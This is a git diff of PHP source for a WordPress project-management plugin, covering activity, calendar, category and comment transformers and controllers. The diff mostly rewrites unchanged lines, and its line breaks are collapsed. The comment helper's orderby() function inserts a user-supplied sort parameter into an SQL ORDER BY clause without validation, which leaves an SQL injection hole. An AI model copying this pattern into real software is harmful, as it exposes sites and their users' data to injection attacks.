private function parse_meta_for_milestone( Activity $activity ) { - return $activity->meta; - } - - private function parse_meta_for_project( Activity $activity ) { - return $activity->meta; - } - - private function parse_meta_for_file( Activity $activity ) { - return $activity->meta; - } - - private function parse_meta_for_comment( Activity $activity ) { - $meta = []; - - if ( ! is_array( $activity ) ) { - return $meta; - } - - foreach ($activity->meta as $key => $value) { - if ( $key == 'commentable_type' && $value == 'file' ) { - $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); - $meta['commentable_id'] = $activity->meta['commentable_id']; - $meta['commentable_type'] = $activity->meta['commentable_type']; - $meta['trans_commentable_type'] = $trans_commentable_type; - $meta['commentable_title'] = $trans_commentable_type; - } elseif ( $key == 'commentable_type' ) { - $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); - $meta['commentable_id'] = $activity->meta['commentable_id']; - $meta['commentable_type'] = $activity->meta['commentable_type']; - $meta['trans_commentable_type'] = $trans_commentable_type; - $meta['commentable_title'] = $activity->meta['commentable_title']; - } - } - - return $meta; - } +action == 'cpm_migration' ){ + $message = $item->meta['text']; + }else { + $message = pm_get_text( "activities.{$item->action}" ); + } + + return [ + 'id' => (int) $item->id, + 'message' => $message, + 'action' => $item->action, + 'action_type' => $item->action_type, + 'meta' => $this->parse_meta( $item ), + 'committed_at' => format_date( $item->created_at ), + 'resource_id' => $item->resource_id, + 'resource_type' => $item->resource_type, + ]; + } + + public function includeActor( Activity $item ) { + $actor = $item->actor; + + return $this->item( $actor, new User_Transformer ); + } + + public function includeProject( Activity $item ) { + $project = $item->project; + $project_transformer = new Project_Transformer; + $project_transformer = $project_transformer->setDefaultIncludes([]); + return $this->item ( $project, $project_transformer); + } + + private function parse_meta( Activity $activity ) { + $parsed_meta = []; + + switch ( $activity->resource_type ) { + case 'task': + $parsed_meta = $this->parse_meta_for_task( $activity ); + break; + + case 'task_list': + $parsed_meta = $this->parse_meta_for_task_list( $activity ); + break; + + case 'discussion_board': + $parsed_meta = $this->parse_meta_for_discussion_board( $activity ); + break; + + case 'milestone': + $parsed_meta = $this->parse_meta_for_milestone( $activity ); + break; + + case 'project': + $parsed_meta = $this->parse_meta_for_project( $activity ); + break; + + case 'comment': + $parsed_meta = $this->parse_meta_for_comment( $activity ); + break; + + case 'file': + $parsed_meta = $this->parse_meta_for_file( $activity ); + break; + } + + return $parsed_meta; + } + + private function parse_meta_for_task( Activity $activity ) { + return $activity->meta; + } + + private function parse_meta_for_task_list( Activity $activity ) { + return $activity->meta; + } + + private function parse_meta_for_discussion_board( Activity $activity ) { + return $activity->meta; + } + + private function parse_meta_for_milestone( Activity $activity ) { + return $activity->meta; + } + + private function parse_meta_for_project( Activity $activity ) { + return $activity->meta; + } + + private function parse_meta_for_file( Activity $activity ) { + return $activity->meta; + } + + private function parse_meta_for_comment( Activity $activity ) { + $meta = []; + + if ( ! is_array( $activity ) ) { + return $meta; + } + + foreach ($activity->meta as $key => $value) { + if ( $key == 'commentable_type' && $value == 'file' ) { + $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); + $meta['commentable_id'] = $activity->meta['commentable_id']; + $meta['commentable_type'] = $activity->meta['commentable_type']; + $meta['trans_commentable_type'] = $trans_commentable_type; + $meta['commentable_title'] = $trans_commentable_type; + } elseif ( $key == 'commentable_type' ) { + $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); + $meta['commentable_id'] = $activity->meta['commentable_id']; + $meta['commentable_type'] = $activity->meta['commentable_type']; + $meta['trans_commentable_type'] = $trans_commentable_type; + $meta['commentable_title'] = $activity->meta['commentable_title']; + } + } + + return $meta; + } } \ No newline at end of file diff --git a/src/Calendar/Transformers/Calendar_Transformer.php b/src/Calendar/Transformers/Calendar_Transformer.php index dfd84188d..33b53f945 100644 --- a/src/Calendar/Transformers/Calendar_Transformer.php +++ b/src/Calendar/Transformers/Calendar_Transformer.php @@ -1,95 +1,95 @@ - (int) $event['id'], - 'title' => $event['title'], - 'start' => $this->getStart( $event ), - 'end' => $this->getend( $event ), - 'status' => array_key_exists('status', $event) ? $event['status'] : $meta['status'], - 'type' => (isset($event['type']) && $event['type'] == 'milestone') ? 'milestone': 'task', - 'project_id' => $event ['project_id'], - 'created_at' => format_date($event['created_at']), - 'updated_at' => format_date($event['updated_at']), - ]; - } - - public function getend( $event ) { - if( isset($event['metas'] ) ) { - $meta = wp_list_pluck( $event['metas'], 'meta_value', 'meta_key' ); - } - - if ( isset( $event['due_date'] ) ) { - return format_date( $event['due_date'] ); - } else if (array_key_exists( 'start_at', $event ) && !empty( $event['start_at'] )) { - return format_date( $event['start_at']); - } else if ( !empty( $meta['achieve_date'] ) ){ - return format_date( $meta['achieve_date'] ); - }else { - return format_date( $event['created_at'] ); - } - - } - - public function getStart( $event ) { - if( isset($event['metas'] ) ) { - $meta = wp_list_pluck( $event['metas'], 'meta_value', 'meta_key' ); - } - - if (array_key_exists( 'start_at', $event ) && !empty( $event['start_at'] )) { - return format_date( $event['start_at']); - }else if ( isset( $event['due_date'] ) ) { - return format_date( $event['due_date'] ); - } else if ( !empty( $meta['achieve_date'] ) ){ - return format_date( $meta['achieve_date'] ); - }else { - return format_date( $event['created_at'] ); - } - - } - - public function includeAssignees( $item ) { - - if( !isset( $item['assignees'] ) ) { - return; - } - - $user_ids = $item['assignees']; - $user_ids = wp_list_pluck( $user_ids, 'assigned_to' ); - $users = User::whereIn( 'id', $user_ids )->get(); - - return $this->collection( $users, function ( $user ) { - return [ - 'id' => $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'avatar_url' => get_avatar_url( $user->user_email ), - ]; - } ); - - } -} - + (int) $event['id'], + 'title' => $event['title'], + 'start' => $this->getStart( $event ), + 'end' => $this->getend( $event ), + 'status' => array_key_exists('status', $event) ? $event['status'] : $meta['status'], + 'type' => (isset($event['type']) && $event['type'] == 'milestone') ? 'milestone': 'task', + 'project_id' => $event ['project_id'], + 'created_at' => format_date($event['created_at']), + 'updated_at' => format_date($event['updated_at']), + ]; + } + + public function getend( $event ) { + if( isset($event['metas'] ) ) { + $meta = wp_list_pluck( $event['metas'], 'meta_value', 'meta_key' ); + } + + if ( isset( $event['due_date'] ) ) { + return format_date( $event['due_date'] ); + } else if (array_key_exists( 'start_at', $event ) && !empty( $event['start_at'] )) { + return format_date( $event['start_at']); + } else if ( !empty( $meta['achieve_date'] ) ){ + return format_date( $meta['achieve_date'] ); + }else { + return format_date( $event['created_at'] ); + } + + } + + public function getStart( $event ) { + if( isset($event['metas'] ) ) { + $meta = wp_list_pluck( $event['metas'], 'meta_value', 'meta_key' ); + } + + if (array_key_exists( 'start_at', $event ) && !empty( $event['start_at'] )) { + return format_date( $event['start_at']); + }else if ( isset( $event['due_date'] ) ) { + return format_date( $event['due_date'] ); + } else if ( !empty( $meta['achieve_date'] ) ){ + return format_date( $meta['achieve_date'] ); + }else { + return format_date( $event['created_at'] ); + } + + } + + public function includeAssignees( $item ) { + + if( !isset( $item['assignees'] ) ) { + return; + } + + $user_ids = $item['assignees']; + $user_ids = wp_list_pluck( $user_ids, 'assigned_to' ); + $users = User::whereIn( 'id', $user_ids )->get(); + + return $this->collection( $users, function ( $user ) { + return [ + 'id' => $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'avatar_url' => get_avatar_url( $user->user_email ), + ]; + } ); + + } +} + diff --git a/src/Category/Controllers/Category_Controller.php b/src/Category/Controllers/Category_Controller.php index 640b95c19..5da166a1e 100644 --- a/src/Category/Controllers/Category_Controller.php +++ b/src/Category/Controllers/Category_Controller.php @@ -1,139 +1,139 @@ -get_param( 'type' ); - - $per_page = $request->get_param( 'per_page' ); - $per_page = $per_page ? $per_page : 20; - - $page = $request->get_param( 'page' ); - $page = $page ? $page : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - if ( $type ) { - $categories = Category::where('categorible_type', $type); - if ( $per_page == '-1' ) { - $per_page = $categories->count(); - } - $categories = $categories->paginate($per_page); - } else { - - if ( $per_page == '-1' ) { - $per_page = Category::count(); - } - $categories = Category::paginate($per_page); - } - - $category_collection = $categories->getCollection(); - $resource = new Collection( $category_collection, new Category_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $categories ) ); - - return $this->get_response( $resource ); - } - - public function show( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - - $category = Category::findOrFail( $id ); - $resource = new Item( $category, new Category_Transformer ); - - return $this->get_response( $resource ); - } - - public static function add_category( $category ) { - $category = Category::create( $category ); - - return $category; - } - - public function store( WP_REST_Request $request ) { - $data = [ - 'title' => $request->get_param( 'title' ), - 'description' => $request->get_param( 'description' ), - 'categorible_type' => $request->get_param( 'categorible_type' ) - ]; - $data = array_filter( $data ); - - $category = Category::create( $data ); - $resource = new Item( $category, new Category_Transformer ); - $response = $this->get_response( $resource ); - - $message = [ - 'message' => pm_get_text('success_messages.category_created') - ]; - - return $this->get_response( $resource, $message ); - } - - public function update( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - - $data = [ - 'title' => $request->get_param( 'title' ), - 'description' => $request->get_param( 'description' ), - 'categorible_type' => $request->get_param( 'categorible_type' ) - ]; - - $category = Category::findOrFail( $id ); - $data = array_filter( $data ); - - $category->update( $data ); - $resource = new Item( $category, new Category_Transformer ); - $response = $this->get_response( $resource ); - - $message = [ - 'message' => pm_get_text('success_messages.category_updated') - ]; - - return $this->get_response( $resource, $message ); } - - public function destroy( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - $category = Category::find( $id ); - - $category->projects()->detach(); - $category->delete(); - - $message = [ - 'message' => pm_get_text('success_messages.category_deleted') - ]; - - return $this->get_response( false, $message ); - } - - public function bulk_destroy( WP_REST_Request $request ) { - $category_ids = $request->get_param( 'category_ids' ); - - if ( is_array( $category_ids ) ) { - DB::table( 'pm_category_project' )->whereIn( 'category_id', $category_ids )->delete(); - Category::whereIn( 'id', $category_ids )->delete(); - } - - $message = [ - 'message' => pm_get_text('success_messages.selected_category_deleted') - ]; - - return $this->get_response( false, $message ); - } -} +get_param( 'type' ); + + $per_page = $request->get_param( 'per_page' ); + $per_page = $per_page ? $per_page : 20; + + $page = $request->get_param( 'page' ); + $page = $page ? $page : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + if ( $type ) { + $categories = Category::where('categorible_type', $type); + if ( $per_page == '-1' ) { + $per_page = $categories->count(); + } + $categories = $categories->paginate($per_page); + } else { + + if ( $per_page == '-1' ) { + $per_page = Category::count(); + } + $categories = Category::paginate($per_page); + } + + $category_collection = $categories->getCollection(); + $resource = new Collection( $category_collection, new Category_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $categories ) ); + + return $this->get_response( $resource ); + } + + public function show( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + + $category = Category::findOrFail( $id ); + $resource = new Item( $category, new Category_Transformer ); + + return $this->get_response( $resource ); + } + + public static function add_category( $category ) { + $category = Category::create( $category ); + + return $category; + } + + public function store( WP_REST_Request $request ) { + $data = [ + 'title' => $request->get_param( 'title' ), + 'description' => $request->get_param( 'description' ), + 'categorible_type' => $request->get_param( 'categorible_type' ) + ]; + $data = array_filter( $data ); + + $category = Category::create( $data ); + $resource = new Item( $category, new Category_Transformer ); + $response = $this->get_response( $resource ); + + $message = [ + 'message' => pm_get_text('success_messages.category_created') + ]; + + return $this->get_response( $resource, $message ); + } + + public function update( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + + $data = [ + 'title' => $request->get_param( 'title' ), + 'description' => $request->get_param( 'description' ), + 'categorible_type' => $request->get_param( 'categorible_type' ) + ]; + + $category = Category::findOrFail( $id ); + $data = array_filter( $data ); + + $category->update( $data ); + $resource = new Item( $category, new Category_Transformer ); + $response = $this->get_response( $resource ); + + $message = [ + 'message' => pm_get_text('success_messages.category_updated') + ]; + + return $this->get_response( $resource, $message ); } + + public function destroy( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + $category = Category::find( $id ); + + $category->projects()->detach(); + $category->delete(); + + $message = [ + 'message' => pm_get_text('success_messages.category_deleted') + ]; + + return $this->get_response( false, $message ); + } + + public function bulk_destroy( WP_REST_Request $request ) { + $category_ids = $request->get_param( 'category_ids' ); + + if ( is_array( $category_ids ) ) { + DB::table( 'pm_category_project' )->whereIn( 'category_id', $category_ids )->delete(); + Category::whereIn( 'id', $category_ids )->delete(); + } + + $message = [ + 'message' => pm_get_text('success_messages.selected_category_deleted') + ]; + + return $this->get_response( false, $message ); + } +} diff --git a/src/Category/Models/Category.php b/src/Category/Models/Category.php index cb0530413..3c79e63bf 100644 --- a/src/Category/Models/Category.php +++ b/src/Category/Models/Category.php @@ -1,27 +1,27 @@ -belongsToMany( 'WeDevs\PM\Project\Models\Project', pm_tb_prefix() . 'pm_category_project', 'category_id', 'project_id' ); - } -} +belongsToMany( 'WeDevs\PM\Project\Models\Project', pm_tb_prefix() . 'pm_category_project', 'category_id', 'project_id' ); + } +} diff --git a/src/Category/Transformers/Category_Transformer.php b/src/Category/Transformers/Category_Transformer.php index 48b5c8bfb..6774989d4 100644 --- a/src/Category/Transformers/Category_Transformer.php +++ b/src/Category/Transformers/Category_Transformer.php @@ -1,36 +1,36 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => $item->description, - 'categorible_type' => $item->categorible_type, - 'created_at' => format_date( $item->created_at ), - ]; - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_category_transformer_default_includes", $this->defaultIncludes ); - } + (int) $item->id, + 'title' => $item->title, + 'description' => $item->description, + 'categorible_type' => $item->categorible_type, + 'created_at' => format_date( $item->created_at ), + ]; + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_category_transformer_default_includes", $this->defaultIncludes ); + } } \ No newline at end of file diff --git a/src/Comment/Controllers/Comment_Controller.php b/src/Comment/Controllers/Comment_Controller.php index eee393274..73fa6c206 100644 --- a/src/Comment/Controllers/Comment_Controller.php +++ b/src/Comment/Controllers/Comment_Controller.php @@ -1,167 +1,167 @@ -get_param( 'project_id' ); - $per_page = $request->get_param( 'per_page' ); - $page = $request->get_param( 'page' ); - - $per_page = $per_page ? $per_page : pm_config('app.comment_per_page'); - $page = $page ? $page : 1; - - $on = $request->get_param( 'on' ); - $id = $request->get_param( 'id' ); - $by = $request->get_param( 'by' ); - - if ( $on ) { - $query = Comment::where( 'commentable_type', $on ); - } - - if ( $id ) { - $query = $query->where( 'commentable_id', $id ); - } - - if ( $by ) { - $query = $query->where( 'created_by', $by ); - } - - if ( $query ) { - $comments = $query->where( 'project_id', $project_id ) - ->orderBy( 'created_at', 'ASC' ) - ->paginate( $per_page, ['*'], 'page', $page ); - } else { - $comments = Comment::where( 'project_id', $project_id ) - ->orderBy( 'created_at', 'ASC' ) - ->paginate( $per_page, ['*'], 'page', $page ); - } - - $comment_collection = $comments->getCollection(); - - $resource = new Collection( $comment_collection, new Comment_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); - - return $this->get_response( $resource ); - } - - public function show( WP_REST_Request $request ) { - $comment_id = $request->get_param( 'comment_id' ); - $comment = Comment::find( $comment_id ); - $resource = new Item( $comment, new Comment_Transformer ); - - return $this->get_response( $resource ); - } - - public function store( WP_REST_Request $request ) { - $data = $this->extract_non_empty_values( $request ); - $media_data = $request->get_file_params(); - $type = $request->get_param('type'); - - $commentable_type = $request->get_param( 'commentable_type' ); - $commentable_id = $request->get_param('commentable_id'); - - $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; - - $comment = Comment::create( $data ); - - if ( $type ) { - $comment->type = $type; - } - - if ( $files ) { - $this->attach_files( $comment, $files ); - } - - $resource = new Item( $comment, new Comment_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.comment_created'), - 'activity' => $this->last_activity( $commentable_type, $commentable_id ), - ]; - - do_action( 'cpm_comment_new', $comment->id , $request->get_param('project_id'), $request->get_params() ); - - $response = $this->get_response( $resource, $message ); - - do_action( 'pm_after_new_comment', $response, $request->get_params()); - - return $response; - } - - public function update( WP_REST_Request $request ) { - // Grab non-empty inputs - $data = $this->extract_non_empty_values( $request ); - - // Grab file data inputs - $media_data = $request->get_file_params(); - - // An array of files - $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; - - // An array of file ids that needs to be deleted - $files_to_delete = $request->get_param( 'files_to_delete' ); - - $comment = Comment::with('files')->find( $data['comment_id'] ); - - $comment->update( $data ); - - if ( $files ) { - $this->attach_files( $comment, $files ); - } - - if ( $files_to_delete ) { - $this->detach_files( $comment, $files_to_delete ); - } - - $resource = new Item( $comment, new Comment_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.comment_updated'), - 'activity' => $this->last_activity( $comment->commentable_type, $comment->commentable_id ), - ]; - - $response = $this->get_response( $resource, $message ); - do_action( 'cpm_comment_update', $comment->id, $request->get_param('project_id'), $response ); - do_action( 'pm_after_update_comment', $response, $request->get_params()); - return $response; - } - - public function destroy( WP_REST_Request $request ) { - $comment_id = $request->get_param( 'comment_id' ); - $comment = Comment::find( $comment_id ); - - $resource_type = $comment->commentable_type; - $resource_id = $comment->commentable_id; - - do_action( 'cpm_comment_delete', $comment, false ); - $this->detach_files( $comment ); - $comment->replies()->delete(); - $comment->files()->delete(); - $comment->delete(); - - $message = [ - 'message' => pm_get_text('success_messages.comment_deleted'), - 'activity' => $this->last_activity( $resource_type, $resource_id ), - ]; - - return $this->get_response(false, $message); - } -} +get_param( 'project_id' ); + $per_page = $request->get_param( 'per_page' ); + $page = $request->get_param( 'page' ); + + $per_page = $per_page ? $per_page : pm_config('app.comment_per_page'); + $page = $page ? $page : 1; + + $on = $request->get_param( 'on' ); + $id = $request->get_param( 'id' ); + $by = $request->get_param( 'by' ); + + if ( $on ) { + $query = Comment::where( 'commentable_type', $on ); + } + + if ( $id ) { + $query = $query->where( 'commentable_id', $id ); + } + + if ( $by ) { + $query = $query->where( 'created_by', $by ); + } + + if ( $query ) { + $comments = $query->where( 'project_id', $project_id ) + ->orderBy( 'created_at', 'ASC' ) + ->paginate( $per_page, ['*'], 'page', $page ); + } else { + $comments = Comment::where( 'project_id', $project_id ) + ->orderBy( 'created_at', 'ASC' ) + ->paginate( $per_page, ['*'], 'page', $page ); + } + + $comment_collection = $comments->getCollection(); + + $resource = new Collection( $comment_collection, new Comment_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); + + return $this->get_response( $resource ); + } + + public function show( WP_REST_Request $request ) { + $comment_id = $request->get_param( 'comment_id' ); + $comment = Comment::find( $comment_id ); + $resource = new Item( $comment, new Comment_Transformer ); + + return $this->get_response( $resource ); + } + + public function store( WP_REST_Request $request ) { + $data = $this->extract_non_empty_values( $request ); + $media_data = $request->get_file_params(); + $type = $request->get_param('type'); + + $commentable_type = $request->get_param( 'commentable_type' ); + $commentable_id = $request->get_param('commentable_id'); + + $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; + + $comment = Comment::create( $data ); + + if ( $type ) { + $comment->type = $type; + } + + if ( $files ) { + $this->attach_files( $comment, $files ); + } + + $resource = new Item( $comment, new Comment_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.comment_created'), + 'activity' => $this->last_activity( $commentable_type, $commentable_id ), + ]; + + do_action( 'cpm_comment_new', $comment->id , $request->get_param('project_id'), $request->get_params() ); + + $response = $this->get_response( $resource, $message ); + + do_action( 'pm_after_new_comment', $response, $request->get_params()); + + return $response; + } + + public function update( WP_REST_Request $request ) { + // Grab non-empty inputs + $data = $this->extract_non_empty_values( $request ); + + // Grab file data inputs + $media_data = $request->get_file_params(); + + // An array of files + $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; + + // An array of file ids that needs to be deleted + $files_to_delete = $request->get_param( 'files_to_delete' ); + + $comment = Comment::with('files')->find( $data['comment_id'] ); + + $comment->update( $data ); + + if ( $files ) { + $this->attach_files( $comment, $files ); + } + + if ( $files_to_delete ) { + $this->detach_files( $comment, $files_to_delete ); + } + + $resource = new Item( $comment, new Comment_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.comment_updated'), + 'activity' => $this->last_activity( $comment->commentable_type, $comment->commentable_id ), + ]; + + $response = $this->get_response( $resource, $message ); + do_action( 'cpm_comment_update', $comment->id, $request->get_param('project_id'), $response ); + do_action( 'pm_after_update_comment', $response, $request->get_params()); + return $response; + } + + public function destroy( WP_REST_Request $request ) { + $comment_id = $request->get_param( 'comment_id' ); + $comment = Comment::find( $comment_id ); + + $resource_type = $comment->commentable_type; + $resource_id = $comment->commentable_id; + + do_action( 'cpm_comment_delete', $comment, false ); + $this->detach_files( $comment ); + $comment->replies()->delete(); + $comment->files()->delete(); + $comment->delete(); + + $message = [ + 'message' => pm_get_text('success_messages.comment_deleted'), + 'activity' => $this->last_activity( $resource_type, $resource_id ), + ]; + + return $this->get_response(false, $message); + } +} diff --git a/src/Comment/Helper/Comment.php b/src/Comment/Helper/Comment.php index 4a6b9a244..dc81e7373 100644 --- a/src/Comment/Helper/Comment.php +++ b/src/Comment/Helper/Comment.php @@ -1,427 +1,427 @@ -set_table_name(); - } - - public static function get_task_comments( WP_REST_Request $request ) { - $comments = self::get_results( $request->get_params() ); - - wp_send_json( $comments ); - } - - public static function get_results( $params = [] ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with() - ->meta(); - - $response = $self->format_comments( $self->comments ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format TaskMilestone data - * - * @param array $comments - * - * @return array - */ - public function format_comments( $comments ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - // if ( ! is_array( $comments ) ) { - // $response['data'] = $this->fromat_comment( $comments ); - - // return $response; - // } - - foreach ( $comments as $key => $comment ) { - $comments[$key] = $this->fromat_comment( $comment ); - } - - $response['data'] = $comments; - $response ['meta'] = $this->set_comments_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_comments_meta() { - return [ - 'pagination' => [ - 'total' => $this->found_rows, - 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) - ] - ]; - } - - public function fromat_comment( $comment ) { - - $items = [ - 'id' => (int) $comment->id, - 'content' => pm_get_content( $comment->content ), - 'commentable_type' => $comment->commentable_type, - 'commentable_id' => $comment->commentable_id, - 'created_at' => format_date( $comment->created_at ), - 'project_id' => (int) $comment->project_id, - 'meta' => [ - //'total_replies' => $comment->replies->count(), - ] - ]; - - $items = $this->item_with( $items, $comment ); - - return apply_filters( 'pm_comment_transform', $items, $comment ); - } - - private function join() { - return $this; - } - - private function with() { - $this->creator() - ->updater() - ->files(); - - return $this; - } - - private function where() { - $this->where_id() - ->where_commentable_id() - ->where_commentable_type(); - - return $this; - } - - private function where_commentable_id() { - global $wpdb; - $commentable_id = isset( $this->query_params['commentable_id'] ) ? $this->query_params['commentable_id'] : false; - - if ( empty( $commentable_id ) ) { - return $this; - } - - $commentable_id = pm_get_prepare_data( $commentable_id ); - - if ( is_array( $commentable_id ) ) { - $query_format = pm_get_prepare_format( $commentable_id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_id IN ($query_format)", $commentable_id ); - } - - if ( !is_array( $commentable_id ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_id IN (%d)", $commentable_id ); - } - - return $this; - } - - /** - * Filter activity by ID - * - * @return class object - */ - private function where_commentable_type() { - global $wpdb; - $commentable_type = isset( $this->query_params['commentable_type'] ) ? $this->query_params['commentable_type'] : false; - - if ( empty( $commentable_type ) ) { - return $this; - } - - $commentable_type = pm_get_prepare_data( $commentable_type ); - - if ( is_array( $commentable_type ) ) { - $query_format = pm_get_prepare_format( $commentable_type, true ); - $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_type IN ($query_format)", $commentable_type ); - } - - if ( !is_array( $commentable_type ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_type IN (%s)", $commentable_type ); - } - - return $this; - } - - /** - * Filter comment by ID - * - * @return class object - */ - private function where_id() { - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - global $wpdb; - $format = pm_get_prepare_format( $id ); - $format_ids = pm_get_prepare_data( $id ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.id IN ($format)", $format_ids ); - - if ( count( $format_ids ) == 1 ) { - $this->is_single_query = true; - } - - return $this; - } - - private function files() { - global $wpdb; - - if ( empty( $this->comment_ids ) ) { - return $this; - } - - $tb_files = pm_tb_prefix() . 'pm_files'; - $comment_format = pm_get_prepare_format( $this->comment_ids ); - $query_data = $this->comment_ids; - - $query = "SELECT DISTINCT fil.id as file_id, - fil.fileable_id as comment_id - FROM $tb_files as fil - where fil.fileable_id IN ($comment_format) - AND fil.fileable_type=%s"; - - array_push( $query_data, 'comment' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $file_ids = wp_list_pluck( $results, 'file_id' ); - - $files = File::get_results([ - 'id' => $file_ids - ]); - - $key_files = []; - - - foreach ( $files['data'] as $key => $file ) { - $key_files[$file['id']] = $file; - } - - foreach ( $results as $key => $result ) { - $files[$result->comment_id][] = $key_files[$result->file_id]; - } - - foreach ( $this->comments as $key => $comment ) { - $comment->files['data'] = empty( $files[$comment->id] ) ? [] : $files[$comment->id]; - } - - return $this; - } - - private function creator() { - - if ( empty( $this->comments ) ) { - return $this; - } - - $creator_ids = wp_list_pluck( $this->comments, 'created_by' ); - $creator_ids = array_unique( $creator_ids ); - - $creators = pm_get_users( [ 'id' => $creator_ids ] ); - - $creators = $creators['data']; - - $items = []; - - foreach ( $creators as $key => $creator ) { - $items[$creator['id']] = $creator; - } - - foreach ( $this->comments as $key => $comment ) { - $c_creator = empty( $items[$comment->created_by] ) ? [] : $items[$comment->created_by]; - - $comment->creator = [ 'data' => $c_creator ]; - } - - return $this; - } - - private function updater() { - if ( empty( $this->comments ) ) { - return $this; - } - - $updater_ids = wp_list_pluck( $this->comments, 'updated_by' ); - $updater_ids = array_unique( $updater_ids ); - - $updaters = pm_get_users( [ 'id' => $updater_ids ] ); - $updaters = $updaters['data']; - - $items = []; - - foreach ( $updaters as $key => $updater ) { - $items[$updater['id']] = $updater; - } - - foreach ( $this->comments as $key => $comment ) { - $c_updater = empty( $items[$comment->updated_by] ) ? [] : $items[$comment->updated_by]; - - $comment->updater = [ 'data' => $c_updater ]; - } - - return $this; - } - - private function meta() { - return $this; - } - - private function item_with( $items, $comment ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - $with = array_merge( $this->with, $with ); - - $comment_with_items = array_intersect_key( (array) $comment, array_flip( $with ) ); - - $items = array_merge( $items, $comment_with_items ); - - return $items; - } - - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'pm_boards'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - private function get_per_page() { - - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return intval( $per_page ); - } - - return 10; - } - - private function get() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_comment}.* - FROM {$this->tb_comment} - {$this->join} - WHERE %d=%d {$this->where} - {$this->orderby} {$this->limit}"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - $this->comments = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->comment_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->comment_ids = [$results->id]; - } - - return $this; - } - - private function set_table_name() { - $this->tb_comment = pm_tb_prefix() . 'pm_comments'; - } - -} +set_table_name(); + } + + public static function get_task_comments( WP_REST_Request $request ) { + $comments = self::get_results( $request->get_params() ); + + wp_send_json( $comments ); + } + + public static function get_results( $params = [] ) { + $self = 